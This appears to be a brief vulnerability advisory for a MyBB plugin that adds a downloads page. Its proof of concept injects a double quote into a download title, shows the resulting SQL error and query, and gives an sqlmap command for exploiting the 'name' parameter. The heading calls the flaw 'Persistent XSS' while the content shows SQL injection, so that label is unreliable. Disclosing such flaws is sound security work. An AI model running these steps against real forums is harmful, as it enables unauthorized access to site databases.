1. Description:

It is a plugin which adds a page to download files. If enabled, regular members can add new downloads to the page after admin approval.

2. Proof of Concept:

Persistent XSS
- Go to downloads.php page
- Create a New Download
- Add the following to the title: a"
- Now on submit, the user will be prompted to an SQL Injection specific error.

```
MyBB has experienced an internal SQL error and cannot continue.

SQL Error:
	1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"a""' at line 1
Query:
	SELECT * FROM mybb_downloads WHERE name="a""
```

- THis can be exploited with: sqlmap -r request_file -p name --threads 5
